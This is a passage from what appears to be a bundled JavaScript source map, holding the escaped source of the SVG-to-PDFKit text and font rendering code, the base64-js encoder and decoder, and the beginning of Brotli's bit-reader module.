this.drawChildren(true, false);\r\n doc.restore();\r\n docEndGroup(group);\r\n docApplyMask(group, true);\r\n };\r\n };\r\n\r\n var SvgElemMask = function(obj, inherits) {\r\n SvgElemHasChildren.call(this, obj, inherits);\r\n this.useMask = function(bBox) {\r\n let group = docBeginGroup(getPageBBox());\r\n doc.save();\r\n let x, y, w, h;\r\n if (this.attr('maskUnits') === 'userSpaceOnUse') {\r\n x = this.getLength('x', this.getVWidth(), -0.1 * (bBox[2] - bBox[0]) + bBox[0]);\r\n y = this.getLength('y', this.getVHeight(), -0.1 * (bBox[3] - bBox[1]) + bBox[1]);\r\n w = this.getLength('width', this.getVWidth(), 1.2 * (bBox[2] - bBox[0]));\r\n h = this.getLength('height', this.getVHeight(), 1.2 * (bBox[3] - bBox[1]));\r\n } else {\r\n x = this.getLength('x', this.getVWidth(), -0.1) * (bBox[2] - bBox[0]) + bBox[0];\r\n y = this.getLength('y', this.getVHeight(), -0.1) * (bBox[3] - bBox[1]) + bBox[1];\r\n w = this.getLength('width', this.getVWidth(), 1.2) * (bBox[2] - bBox[0]);\r\n h = this.getLength('height', this.getVHeight(), 1.2) * (bBox[3] - bBox[1]);\r\n }\r\n doc.rect(x, y, w, h).clip();\r\n if (this.attr('maskContentUnits') === 'objectBoundingBox') {\r\n doc.transform(bBox[2] - bBox[0], 0, 0, bBox[3] - bBox[1], bBox[0], bBox[1]);\r\n }\r\n this.clip();\r\n this.drawChildren(false, true);\r\n doc.restore();\r\n docEndGroup(group);\r\n docApplyMask(group, true);\r\n };\r\n };\r\n\r\n var SvgElemTextContainer = function(obj, inherits) {\r\n SvgElemStylable.call(this, obj, inherits);\r\n this.allowedChildren = ['tspan', '#text', '#cdata-section', 'a'];\r\n this.isText = true;\r\n this.getBoundingShape = function() {\r\n let shape = new SvgShape();\r\n for (let i = 0; i < this._pos.length; i++) {\r\n let pos = this._pos[i];\r\n if (!pos.hidden) {\r\n let dx0 = pos.ascent * Math.sin(pos.rotate), dy0 = -pos.ascent * Math.cos(pos.rotate),\r\n dx1 = pos.descent * Math.sin(pos.rotate), dy1 = -pos.descent * Math.cos(pos.rotate),\r\n dx2 = pos.width * Math.cos(pos.rotate), dy2 = pos.width * Math.sin(pos.rotate);\r\n shape.M(pos.x + dx0, pos.y + dy0).L(pos.x + dx0 + dx2, pos.y + dy0 + dy2)\r\n .M(pos.x + dx1 + dx2, pos.y + dy1 + dy2).L(pos.x + dx1, pos.y + dy1);\r\n }\r\n }\r\n return shape;\r\n };\r\n this.drawTextInDocument = function(isClip, isMask) {\r\n if (this.link && !isClip && !isMask) {this.addLink();}\r\n if (this.get('text-decoration') === 'underline') {\r\n this.decorate(0.05 * this._font.size, -0.075 * this._font.size, isClip, isMask);\r\n }\r\n if (this.get('text-decoration') === 'overline') {\r\n this.decorate(0.05 * this._font.size, getAscent(this._font.font, this._font.size) + 0.075 * this._font.size, isClip, isMask);\r\n }\r\n let fill = this.getFill(isClip, isMask),\r\n stroke = this.getStroke(isClip, isMask),\r\n strokeWidth = this.get('stroke-width');\r\n if (this._font.fauxBold) {\r\n if (!stroke) {\r\n stroke = fill;\r\n strokeWidth = this._font.size * 0.03;\r\n } else {\r\n strokeWidth += this._font.size * 0.03;\r\n }\r\n }\r\n let children = this.getChildren();\r\n for (let i = 0; i < children.length; i++) {\r\n let childElem = children[i];\r\n switch(childElem.name) {\r\n case 'tspan': case 'textPath': case 'a':\r\n if (childElem.get('display') !== 'none') {\r\n childElem.drawTextInDocument(isClip, isMask);\r\n }\r\n break;\r\n case '#text': case '#cdata-section':\r\n if (this.get('visibility') === 'hidden') {continue;}\r\n if (fill || stroke || isClip) {\r\n if (fill) {\r\n docFillColor(fill);\r\n }\r\n if (stroke && strokeWidth) {\r\n docStrokeColor(stroke);\r\n doc.lineWidth(strokeWidth)\r\n .miterLimit(this.get('stroke-miterlimit'))\r\n .lineJoin(this.get('stroke-linejoin'))\r\n .lineCap(this.get('stroke-linecap'))\r\n .dash(this.get('stroke-dasharray'), {phase:this.get('stroke-dashoffset')});\r\n }\r\n docBeginText(this._font.font, this._font.size);\r\n docSetTextMode(!!fill, !!stroke);\r\n for (let j = 0, pos = childElem._pos; j < pos.length; j++) {\r\n if (!pos[j].hidden && isNotEqual(pos[j].width, 0)) {\r\n let cos = Math.cos(pos[j].rotate), sin = Math.sin(pos[j].rotate), skew = (this._font.fauxItalic ? -0.25 : 0);\r\n docSetTextMatrix(cos * pos[j].scale, sin * pos[j].scale, cos * skew - sin, sin * skew + cos, pos[j].x, pos[j].y);\r\n docWriteGlyph(pos[j].glyph);\r\n }\r\n }\r\n docEndText();\r\n }\r\n break;\r\n }\r\n }\r\n if (this.get('text-decoration') === 'line-through') {\r\n this.decorate(0.05 * this._font.size, 0.5 * (getAscent(this._font.font, this._font.size) + getDescent(this._font.font, this._font.size)), isClip, isMask);\r\n }\r\n };\r\n this.decorate = function(lineWidth, linePosition, isClip, isMask) {\r\n let fill = this.getFill(isClip, isMask),\r\n stroke = this.getStroke(isClip, isMask);\r\n if (fill) {\r\n docFillColor(fill);\r\n }\r\n if (stroke) {\r\n docStrokeColor(stroke);\r\n doc.lineWidth(this.get('stroke-width'))\r\n .miterLimit(this.get('stroke-miterlimit'))\r\n .lineJoin(this.get('stroke-linejoin'))\r\n .lineCap(this.get('stroke-linecap'))\r\n .dash(this.get('stroke-dasharray'), {phase:this.get('stroke-dashoffset')});\r\n }\r\n for (let j = 0, pos = this._pos; j < pos.length; j++) {\r\n if (!pos[j].hidden && isNotEqual(pos[j].width, 0)) {\r\n let dx0 = (linePosition + lineWidth / 2) * Math.sin(pos[j].rotate),\r\n dy0 = -(linePosition + lineWidth / 2) * Math.cos(pos[j].rotate),\r\n dx1 = (linePosition - lineWidth / 2) * Math.sin(pos[j].rotate),\r\n dy1 = -(linePosition - lineWidth / 2) * Math.cos(pos[j].rotate),\r\n dx2 = pos[j].width * Math.cos(pos[j].rotate),\r\n dy2 = pos[j].width * Math.sin(pos[j].rotate);\r\n new SvgShape().M(pos[j].x + dx0, pos[j].y + dy0)\r\n .L(pos[j].x + dx0 + dx2, pos[j].y + dy0 + dy2)\r\n .L(pos[j].x + dx1 + dx2, pos[j].y + dy1 + dy2)\r\n .L(pos[j].x + dx1, pos[j].y + dy1).Z()\r\n .insertInDocument();\r\n if (fill && stroke) {\r\n doc.fillAndStroke();\r\n } else if (fill) {\r\n doc.fill();\r\n } else if (stroke) {\r\n doc.stroke();\r\n }\r\n }\r\n }\r\n };\r\n };\r\n\r\n var SvgElemTextNode = function(obj, inherits) {\r\n this.name = obj.nodeName;\r\n this.textContent = obj.nodeValue;\r\n };\r\n\r\n var SvgElemTspan = function(obj, inherits) {\r\n SvgElemTextContainer.call(this, obj, inherits);\r\n };\r\n\r\n var SvgElemTextPath = function(obj, inherits) {\r\n SvgElemTextContainer.call(this, obj, inherits);\r\n let pathObject, pathLength, temp;\r\n if ((temp = this.attr('path')) && temp.trim() !== '') {\r\n let pathLength = this.getLength('pathLength', this.getViewport());\r\n this.pathObject = new SvgShape().path(temp);\r\n this.pathLength = pathLength > 0 ? pathLength : this.pathObject.totalLength;\r\n this.pathScale = this.pathObject.totalLength / this.pathLength;\r\n } else if ((temp = this.getUrl('href') || this.getUrl('xlink:href')) && temp.nodeName === 'path') {\r\n let pathElem = new SvgElemPath(temp, this);\r\n this.pathObject = pathElem.shape.clone().transform(pathElem.get('transform'));\r\n this.pathLength = this.chooseValue(pathElem.pathLength, this.pathObject.totalLength);\r\n this.pathScale = this.pathObject.totalLength / this.pathLength;\r\n }\r\n };\r\n\r\n var SvgElemText = function(obj, inherits) {\r\n SvgElemTextContainer.call(this, obj, inherits);\r\n this.allowedChildren = ['textPath', 'tspan', '#text', '#cdata-section', 'a'];\r\n (function (textParentElem) {\r\n let processedText = '', remainingText = obj.textContent, textPaths = [], currentChunk = [], currentAnchor, currentDirection, currentX = 0, currentY = 0;\r\n function doAnchoring() {\r\n if (currentChunk.length) {\r\n let last = currentChunk[currentChunk.length - 1];\r\n let first = currentChunk[0]\r\n let width = last.x + last.width - first.x;\r\n let anchordx = {'startltr': 0, 'middleltr': 0.5, 'endltr': 1, 'startrtl': 1, 'middlertl': 0.5, 'endrtl': 0}[currentAnchor + currentDirection] * width || 0;\r\n for (let i = 0; i < currentChunk.length; i++) {\r\n currentChunk[i].x -= anchordx;\r\n }\r\n }\r\n currentChunk = [];\r\n }\r\n function adjustLength(pos, length, spacingAndGlyphs) {\r\n let firstChar = pos[0], lastChar = pos[pos.length - 1],\r\n startX = firstChar.x, endX = lastChar.x + lastChar.width;\r\n if (spacingAndGlyphs) {\r\n let textScale = length / (endX - startX);\r\n if (textScale > 0 && textScale < Infinity) {\r\n for (let j = 0; j < pos.length; j++) {\r\n pos[j].x = startX + textScale * (pos[j].x - startX);\r\n pos[j].scale *= textScale;\r\n pos[j].width *= textScale;\r\n }\r\n }\r\n } else {\r\n if (pos.length >= 2) {\r\n let spaceDiff = (length - (endX - startX)) / (pos.length - 1);\r\n for (let j = 0; j < pos.length; j++) {\r\n pos[j].x += j * spaceDiff;\r\n }\r\n }\r\n }\r\n currentX += length - (endX - startX);\r\n }\r\n function recursive(currentElem, parentElem) {\r\n currentElem._x = combineArrays(currentElem.getLengthList('x', currentElem.getVWidth()), (parentElem ? parentElem._x.slice(parentElem._pos.length) : []));\r\n currentElem._y = combineArrays(currentElem.getLengthList('y', currentElem.getVHeight()), (parentElem ? parentElem._y.slice(parentElem._pos.length) : []));\r\n currentElem._dx = combineArrays(currentElem.getLengthList('dx', currentElem.getVWidth()), (parentElem ? parentElem._dx.slice(parentElem._pos.length) : []));\r\n currentElem._dy = combineArrays(currentElem.getLengthList('dy', currentElem.getVHeight()), (parentElem ? parentElem._dy.slice(parentElem._pos.length) : []));\r\n currentElem._rot = combineArrays(currentElem.getNumberList('rotate'), (parentElem ? parentElem._rot.slice(parentElem._pos.length) : []));\r\n currentElem._defRot = currentElem.chooseValue(currentElem._rot[currentElem._rot.length - 1], parentElem && parentElem._defRot, 0);\r\n if (currentElem.name === 'textPath') {currentElem._y = [];}\r\n let fontOptions = {fauxItalic: false, fauxBold: false},\r\n fontNameorLink = fontCallback(currentElem.get('font-family'), currentElem.get('font-weight') === 'bold', currentElem.get('font-style') === 'italic', fontOptions);\r\n try {\r\n doc.font(fontNameorLink);\r\n } catch(e) {\r\n warningCallback('SVGElemText: failed to open font \"' + fontNameorLink + '\" in PDFKit');\r\n }\r\n currentElem._pos = [];\r\n currentElem._index = 0;\r\n currentElem._font = {font: doc._font, size: currentElem.get('font-size'), fauxItalic: fontOptions.fauxItalic, fauxBold: fontOptions.fauxBold};\r\n let textLength = currentElem.getLength('textLength', currentElem.getVWidth(), undefined),\r\n spacingAndGlyphs = currentElem.attr('lengthAdjust') === 'spacingAndGlyphs',\r\n wordSpacing = currentElem.get('word-spacing'),\r\n letterSpacing = currentElem.get('letter-spacing'),\r\n textAnchor = currentElem.get('text-anchor'),\r\n textDirection = currentElem.get('direction'),\r\n baseline = getBaseline(currentElem._font.font, currentElem._font.size, currentElem.get('alignment-baseline') || currentElem.get('dominant-baseline'), currentElem.get('baseline-shift'));\r\n if (currentElem.name === 'textPath') {\r\n doAnchoring();\r\n currentX = currentY = 0;\r\n }\r\n let children = currentElem.getChildren();\r\n for (let i = 0; i < children.length; i++) {\r\n let childElem = children[i];\r\n switch(childElem.name) {\r\n case 'tspan': case 'textPath': case 'a':\r\n recursive(childElem, currentElem);\r\n break;\r\n case '#text': case '#cdata-section':\r\n let rawText = childElem.textContent, renderedText = rawText, words;\r\n childElem._font = currentElem._font;\r\n childElem._pos = [];\r\n remainingText = remainingText.substring(rawText.length);\r\n if (currentElem.get('xml:space') === 'preserve') {\r\n renderedText = renderedText.replace(/[\\s]/g, ' ');\r\n } else {\r\n renderedText = renderedText.replace(/[\\s]+/g, ' ');\r\n if (processedText.match(/[\\s]$|^$/)) {renderedText = renderedText.replace(/^[\\s]/, '');}\r\n if (remainingText.match(/^[\\s]*$/)) {renderedText = renderedText.replace(/[\\s]$/, '');}\r\n }\r\n processedText += rawText;\r\n if (wordSpacing === 0) {\r\n words = [renderedText];\r\n } else {\r\n words = renderedText.split(/(\\s)/);\r\n }\r\n for (let w = 0; w < words.length; w++) {\r\n let pos = getTextPos(currentElem._font.font, currentElem._font.size, words[w]);\r\n for (let j = 0; j < pos.length; j++) {\r\n let index = currentElem._index,\r\n xAttr = currentElem._x[index],\r\n yAttr = currentElem._y[index],\r\n dxAttr = currentElem._dx[index],\r\n dyAttr = currentElem._dy[index],\r\n rotAttr = currentElem._rot[index],\r\n continuous = !(w === 0 && j === 0);\r\n if (xAttr !== undefined) {continuous = false; doAnchoring(); currentX = xAttr;}\r\n if (yAttr !== undefined) {continuous = false; doAnchoring(); currentY = yAttr;}\r\n if (dxAttr !== undefined) {continuous = false; currentX += dxAttr;}\r\n if (dyAttr !== undefined) {continuous = false; currentY += dyAttr;}\r\n if (rotAttr !== undefined || currentElem._defRot !== 0) {continuous = false;}\r\n let position = {\r\n glyph: pos[j].glyph,\r\n rotate: (Math.PI / 180) * currentElem.chooseValue(rotAttr, currentElem._defRot),\r\n x: currentX + pos[j].xOffset,\r\n y: currentY + baseline + pos[j].yOffset,\r\n width: pos[j].width,\r\n ascent: getAscent(currentElem._font.font, currentElem._font.size),\r\n descent: getDescent(currentElem._font.font, currentElem._font.size),\r\n scale: 1,\r\n hidden: false,\r\n continuous: continuous\r\n };\r\n currentChunk.push(position);\r\n childElem._pos.push(position);\r\n currentElem._pos.push(position);\r\n currentElem._index += pos[j].unicode.length;\r\n if (currentChunk.length === 1) {\r\n currentAnchor = textAnchor;\r\n currentDirection = textDirection;\r\n }\r\n currentX += pos[j].xAdvance + letterSpacing;\r\n currentY += pos[j].yAdvance;\r\n }\r\n if (words[w] === ' ') {\r\n currentX += wordSpacing;\r\n }\r\n }\r\n break;\r\n default:\r\n remainingText = remainingText.substring(childElem.textContent.length);\r\n }\r\n }\r\n if (textLength && currentElem._pos.length) {\r\n adjustLength(currentElem._pos, textLength, spacingAndGlyphs);\r\n }\r\n if (currentElem.name === 'textPath' || currentElem.name === 'text') {\r\n doAnchoring();\r\n }\r\n if (currentElem.name === 'textPath') {\r\n textPaths.push(currentElem);\r\n let pathObject = currentElem.pathObject;\r\n if (pathObject) {\r\n currentX = pathObject.endPoint[0]; currentY = pathObject.endPoint[1];\r\n }\r\n }\r\n if (parentElem) {\r\n parentElem._pos = parentElem._pos.concat(currentElem._pos);\r\n parentElem._index += currentElem._index;\r\n }\r\n }\r\n function textOnPath(currentElem) {\r\n let pathObject = currentElem.pathObject,\r\n pathLength = currentElem.pathLength,\r\n pathScale = currentElem.pathScale;\r\n if (pathObject) {\r\n let textOffset = currentElem.getLength('startOffset', pathLength, 0);\r\n for (let j = 0; j < currentElem._pos.length; j++) {\r\n let charMidX = textOffset + currentElem._pos[j].x + 0.5 * currentElem._pos[j].width;\r\n if (charMidX > pathLength || charMidX < 0) {\r\n currentElem._pos[j].hidden = true;\r\n } else {\r\n let pointOnPath = pathObject.getPointAtLength(charMidX * pathScale);\r\n if (isNotEqual(pathScale, 1)) {\r\n currentElem._pos[j].scale *= pathScale;\r\n currentElem._pos[j].width *= pathScale;\r\n }\r\n currentElem._pos[j].x = pointOnPath[0] - 0.5 * currentElem._pos[j].width * Math.cos(pointOnPath[2]) - currentElem._pos[j].y * Math.sin(pointOnPath[2]);\r\n currentElem._pos[j].y = pointOnPath[1] - 0.5 * currentElem._pos[j].width * Math.sin(pointOnPath[2]) + currentElem._pos[j].y * Math.cos(pointOnPath[2]);\r\n currentElem._pos[j].rotate = pointOnPath[2] + currentElem._pos[j].rotate;\r\n currentElem._pos[j].continuous = false;\r\n }\r\n }\r\n } else {\r\n for (let j = 0; j < currentElem._pos.length; j++) {\r\n currentElem._pos[j].hidden = true;\r\n }\r\n }\r\n }\r\n recursive(textParentElem, null);\r\n for (let i = 0; i < textPaths.length; i++) {\r\n textOnPath(textPaths[i]);\r\n }\r\n })(this);\r\n this.getTransformation = function() {\r\n return this.get('transform');\r\n };\r\n this.drawInDocument = function(isClip, isMask) {\r\n doc.save();\r\n this.transform();\r\n this.clip();\r\n let masked = this.mask(), group;\r\n if (masked) {\r\n group = docBeginGroup(getPageBBox());\r\n }\r\n this.drawTextInDocument(isClip, isMask);\r\n if (group) {\r\n docEndGroup(group);\r\n docInsertGroup(group);\r\n }\r\n doc.restore();\r\n };\r\n };\r\n\r\n options = options || {};\r\n var pxToPt = options.assumePt ? 1 : (72/96), // 1px = 72/96pt, but only if assumePt is false\r\n viewportWidth = (options.width || doc.page.width) / pxToPt,\r\n viewportHeight = (options.height || doc.page.height) / pxToPt,\r\n preserveAspectRatio = options.preserveAspectRatio || null, // default to null so that the attr can override if not passed\r\n useCSS = options.useCSS && typeof SVGElement !== 'undefined' && svg instanceof SVGElement && typeof getComputedStyle === 'function',\r\n warningCallback = options.warningCallback,\r\n fontCallback = options.fontCallback,\r\n imageCallback = options.imageCallback,\r\n colorCallback = options.colorCallback,\r\n documentCallback = options.documentCallback,\r\n precision = Math.ceil(Math.max(1, options.precision)) || 3,\r\n groupStack = [],\r\n documentCache = {},\r\n links = [],\r\n styleRules = [];\r\n\r\n if (typeof warningCallback !== 'function') {\r\n warningCallback = function(str) {\r\n if (typeof console !== undefined && typeof console.warn === 'function') {console.warn(str);}\r\n };\r\n }\r\n if (typeof fontCallback !== 'function') {\r\n fontCallback = function(family, bold, italic, fontOptions) {\r\n // Check if the font is already registered in the document\r\n if (bold && italic) {\r\n if (doc._registeredFonts.hasOwnProperty(family + '-BoldItalic')) {\r\n return family + '-BoldItalic';\r\n } else if (doc._registeredFonts.hasOwnProperty(family + '-Italic')) {\r\n fontOptions.fauxBold = true;\r\n return family + '-Italic';\r\n } else if (doc._registeredFonts.hasOwnProperty(family + '-Bold')) {\r\n fontOptions.fauxItalic = true;\r\n return family + '-Bold';\r\n } else if (doc._registeredFonts.hasOwnProperty(family)) {\r\n fontOptions.fauxBold = true;\r\n fontOptions.fauxItalic = true;\r\n return family;\r\n }\r\n }\r\n if (bold && !italic) {\r\n if (doc._registeredFonts.hasOwnProperty(family + '-Bold')) {\r\n return family + '-Bold';\r\n } else if (doc._registeredFonts.hasOwnProperty(family)) {\r\n fontOptions.fauxBold = true;\r\n return family;\r\n }\r\n }\r\n if (!bold && italic) {\r\n if (doc._registeredFonts.hasOwnProperty(family + '-Italic')) {\r\n return family + '-Italic';\r\n } else if (doc._registeredFonts.hasOwnProperty(family)) {\r\n fontOptions.fauxItalic = true;\r\n return family;\r\n }\r\n }\r\n if (!bold && !italic) {\r\n if (doc._registeredFonts.hasOwnProperty(family)) {\r\n return family;\r\n }\r\n }\r\n // Use standard fonts as fallback\r\n if (family.match(/(?:^|,)\\s*serif\\s*$/)) {\r\n if (bold && italic) {return 'Times-BoldItalic';}\r\n if (bold && !italic) {return 'Times-Bold';}\r\n if (!bold && italic) {return 'Times-Italic';}\r\n if (!bold && !italic) {return 'Times-Roman';}\r\n } else if (family.match(/(?:^|,)\\s*monospace\\s*$/)) {\r\n if (bold && italic) {return 'Courier-BoldOblique';}\r\n if (bold && !italic) {return 'Courier-Bold';}\r\n if (!bold && italic) {return 'Courier-Oblique';}\r\n if (!bold && !italic) {return 'Courier';}\r\n } else if (family.match(/(?:^|,)\\s*sans-serif\\s*$/) || true) {\r\n if (bold && italic) {return 'Helvetica-BoldOblique';}\r\n if (bold && !italic) {return 'Helvetica-Bold';}\r\n if (!bold && italic) {return 'Helvetica-Oblique';}\r\n if (!bold && !italic) {return 'Helvetica';}\r\n }\r\n };\r\n }\r\n if (typeof imageCallback !== 'function') {\r\n imageCallback = function(link) {\r\n return link.replace(/\\s+/g, '');\r\n };\r\n }\r\n if (typeof colorCallback !== 'function') {\r\n colorCallback = null;\r\n } else {\r\n for (let color in DefaultColors) {\r\n let newColor = colorCallback(DefaultColors[color]);\r\n DefaultColors[color][0] = newColor[0];\r\n DefaultColors[color][1] = newColor[1];\r\n }\r\n }\r\n if (typeof documentCallback !== 'function') {\r\n documentCallback = null;\r\n }\r\n\r\n if (typeof svg === 'string') {svg = parseXml(svg);}\r\n if (svg) {\r\n let styles = svg.getElementsByTagName('style');\r\n for (let i = 0; i < styles.length; i++) {\r\n styleRules = styleRules.concat(parseStyleSheet(styles[i].textContent));\r\n }\r\n let elem = createSVGElement(svg, null);\r\n if (typeof elem.drawInDocument === 'function') {\r\n if (options.useCSS && !useCSS) {\r\n warningCallback('SVGtoPDF: useCSS option can only be used for SVG *elements* in compatible browsers');\r\n }\r\n let savedFillColor = doc._fillColor;\r\n doc.save().translate(x || 0, y || 0).scale(pxToPt);\r\n elem.drawInDocument();\r\n for (let i = 0; i < links.length; i++) {\r\n doc.page.annotations.push(links[i]);\r\n }\r\n doc.restore();\r\n doc._fillColor = savedFillColor;\r\n } else {\r\n warningCallback('SVGtoPDF: this element can\\'t be rendered directly: ' + svg.nodeName);\r\n }\r\n } else {\r\n warningCallback('SVGtoPDF: the input does not look like a valid SVG');\r\n }\r\n\r\n};\r\n\r\nif (typeof module !== 'undefined' && module && typeof module.exports !== 'undefined') {\r\n module.exports = SVGtoPDF;\r\n}\r\n","'use strict'\n\nexports.byteLength = byteLength\nexports.toByteArray = toByteArray\nexports.fromByteArray = fromByteArray\n\nvar lookup = []\nvar revLookup = []\nvar Arr = typeof Uint8Array !== 'undefined' ? Uint8Array : Array\n\nvar code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'\nfor (var i = 0, len = code.length; i < len; ++i) {\n lookup[i] = code[i]\n revLookup[code.charCodeAt(i)] = i\n}\n\n// Support decoding URL-safe base64 strings, as Node.js does.\n// See: https://en.wikipedia.org/wiki/Base64#URL_applications\nrevLookup['-'.charCodeAt(0)] = 62\nrevLookup['_'.charCodeAt(0)] = 63\n\nfunction getLens (b64) {\n var len = b64.length\n\n if (len % 4 > 0) {\n throw new Error('Invalid string. Length must be a multiple of 4')\n }\n\n // Trim off extra bytes after placeholder bytes are found\n // See: https://github.com/beatgammit/base64-js/issues/42\n var validLen = b64.indexOf('=')\n if (validLen === -1) validLen = len\n\n var placeHoldersLen = validLen === len\n ? 0\n : 4 - (validLen % 4)\n\n return [validLen, placeHoldersLen]\n}\n\n// base64 is 4/3 + up to two characters of the original data\nfunction byteLength (b64) {\n var lens = getLens(b64)\n var validLen = lens[0]\n var placeHoldersLen = lens[1]\n return ((validLen + placeHoldersLen) * 3 / 4) - placeHoldersLen\n}\n\nfunction _byteLength (b64, validLen, placeHoldersLen) {\n return ((validLen + placeHoldersLen) * 3 / 4) - placeHoldersLen\n}\n\nfunction toByteArray (b64) {\n var tmp\n var lens = getLens(b64)\n var validLen = lens[0]\n var placeHoldersLen = lens[1]\n\n var arr = new Arr(_byteLength(b64, validLen, placeHoldersLen))\n\n var curByte = 0\n\n // if there are placeholders, only get up to the last complete 4 chars\n var len = placeHoldersLen > 0\n ? validLen - 4\n : validLen\n\n var i\n for (i = 0; i < len; i += 4) {\n tmp =\n (revLookup[b64.charCodeAt(i)] << 18) |\n (revLookup[b64.charCodeAt(i + 1)] << 12) |\n (revLookup[b64.charCodeAt(i + 2)] << 6) |\n revLookup[b64.charCodeAt(i + 3)]\n arr[curByte++] = (tmp >> 16) & 0xFF\n arr[curByte++] = (tmp >> 8) & 0xFF\n arr[curByte++] = tmp & 0xFF\n }\n\n if (placeHoldersLen === 2) {\n tmp =\n (revLookup[b64.charCodeAt(i)] << 2) |\n (revLookup[b64.charCodeAt(i + 1)] >> 4)\n arr[curByte++] = tmp & 0xFF\n }\n\n if (placeHoldersLen === 1) {\n tmp =\n (revLookup[b64.charCodeAt(i)] << 10) |\n (revLookup[b64.charCodeAt(i + 1)] << 4) |\n (revLookup[b64.charCodeAt(i + 2)] >> 2)\n arr[curByte++] = (tmp >> 8) & 0xFF\n arr[curByte++] = tmp & 0xFF\n }\n\n return arr\n}\n\nfunction tripletToBase64 (num) {\n return lookup[num >> 18 & 0x3F] +\n lookup[num >> 12 & 0x3F] +\n lookup[num >> 6 & 0x3F] +\n lookup[num & 0x3F]\n}\n\nfunction encodeChunk (uint8, start, end) {\n var tmp\n var output = []\n for (var i = start; i < end; i += 3) {\n tmp =\n ((uint8[i] << 16) & 0xFF0000) +\n ((uint8[i + 1] << 8) & 0xFF00) +\n (uint8[i + 2] & 0xFF)\n output.push(tripletToBase64(tmp))\n }\n return output.join('')\n}\n\nfunction fromByteArray (uint8) {\n var tmp\n var len = uint8.length\n var extraBytes = len % 3 // if we have 1 byte left, pad 2 bytes\n var parts = []\n var maxChunkLength = 16383 // must be multiple of 3\n\n // go through the array every three bytes, we'll deal with trailing stuff later\n for (var i = 0, len2 = len - extraBytes; i < len2; i += maxChunkLength) {\n parts.push(encodeChunk(\n uint8, i, (i + maxChunkLength) > len2 ? len2 : (i + maxChunkLength)\n ))\n }\n\n // pad the end with zeros, but make sure to not forget the extra bytes\n if (extraBytes === 1) {\n tmp = uint8[len - 1]\n parts.push(\n lookup[tmp >> 2] +\n lookup[(tmp << 4) & 0x3F] +\n '=='\n )\n } else if (extraBytes === 2) {\n tmp = (uint8[len - 2] << 8) + uint8[len - 1]\n parts.push(\n lookup[tmp >> 10] +\n lookup[(tmp >> 4) & 0x3F] +\n lookup[(tmp << 2) & 0x3F] +\n '='\n )\n }\n\n return parts.join('')\n}\n","/* Copyright 2013 Google Inc. All Rights Reserved.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n Bit reading helpers\n*/\n\nvar BROTLI_READ_SIZE = 4096;\nvar BROTLI_IBUF_SIZE = (2 * BROTLI_READ_SIZE + 32);\nvar BROTLI_IBUF_MASK = (2 * BROTLI_READ_SIZE - 1);\n\nvar kBitMask = new Uint32Array([\n 0, 1, 3, 7, 15, 31, 63, 127, 255, 511, 1023, 2047, 4095, 8191, 16383, 32767,\n 65535, 131071, 262143, 524287, 1048575, 2097151, 4194303, 8388607, 16777215\n]);\n\n/* Input byte buffer, consist of a ringbuffer and a \"slack\" region where */\n/* bytes from the start of the ringbuffer are copied. */\nfunction BrotliBitReader(input) {\n this.buf_ = new Uint8Array(BROTLI_IBUF_SIZE);\n this.input_ = input; /* input callback */\n \n this.reset();\n}\n\nBrotliBitReader.READ_SIZE = BROTLI_READ_SIZE;\nBrotliBitReader.IBUF_MASK = BROTLI_IBUF_MASK;\n\nBrotliBitReader.prototype.reset = function() {\n this.buf_ptr_ = 0; /* next input will write here */\n this.val_ = 0; /* pre-fetched bits */\n this.pos_ = 0; /* byte position in stream */\n this.bit_pos_ = 0; /* current bit-reading position in val_ */\n this.bit_end_pos_ = 0; /* bit-reading end position from LSB of val_ */\n this.eos_ = 0; /* input stream is finished */\n \n this.readMoreInput();\n for (var i = 0; i < 4; i++) {\n this.val_ |= this.buf_[this.pos_] << (8 * i);\n ++this.pos_;\n }\n \n return this.bit_end_pos_ > 0;\n};\n\n/* Fills up the input ringbuffer by calling the input callback.\n\n Does nothing if there are at least 32 bytes present after current position.\n\n Returns 0 if either:\n - the input callback returned an error, or\n - there is no more input and the position is past the end of the stream.\n\n After encountering the end of the input stream, 32 additional zero bytes are\n copied to the ringbuffer, therefore it is safe to call this function after\n every 32 bytes of input is read.\n*/\nBrotliBitReader.prototype.readMoreInput = function() {\n if (this.bit_end_pos_ > 256) {\n return;\n } else if (this.eos_) {\n if (this.bit_pos_ > this.bit_end_pos_)\n throw new Error('Unexpected end of input ' + this.bit_pos_ + ' ' + this.bit_end_pos_);\n } else {\n var dst = this.buf_ptr_;\n var bytes_read = this.input_.read(this.buf_, dst, BROTLI_READ_SIZE);\n if (bytes_read < 0) {\n throw new Error('Unexpected end of input');\n }\n \n if (bytes_read < BROTLI_READ_SIZE) {\n this.eos_ = 1;\n /* Store 32 bytes of zero after the stream end. */\n for (var p = 0; p < 32; p++)\n this.buf_[dst + bytes_read + p] = 0;\n }\n \n if (dst === 0) {\n /* Copy the head of the ringbuffer to the slack region. */\n for (var p = 0; p < 32; p++)\n this.buf_[(BROTLI_READ_SIZE << 1) + p] = this.buf_[p];\n\n this.buf_ptr_ = BROTLI_READ_SIZE;\n } else {\n this.buf_ptr_ = 0;\n }\n \n this.bit_end_pos_ += bytes_read << 3;\n }\n};\n\n/* Guarantees that there are at least 24 bits in the buffer. */\nBrotliBitReader.prototype.fillBitWindow = function() { \n while (this.bit_pos_ >= 8) {\n this.val_ >>>= 8;\n this.val_ |= this.buf_[this.pos_ & BROTLI_IBUF_MASK] << 24;\n ++this.pos_;\n this.bit_pos_ = this.bit_pos_ - 8 >>> 0;\n this.bit_end_pos_ = this.bit_end_pos_ - 8 >>> 0;\n }\n};\n\n/* Reads the specified number of bits from Read Buffer. */\nBrotliBitReader.prototype.readBits = function(n_bits) {\n if (32 - this.bit_pos_ < n_bits) {\n this.fillBitWindow();\n }\n \n var val = ((this.val_ >>> this.bit_pos_) & kBitMask[n_bits]);\n this.bit_pos_ += n_bits;\n return val;\n};\n\nmodule.exports = BrotliBitReader;\n","/* Copyright 2013 Google Inc. All Rights Reserved.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to 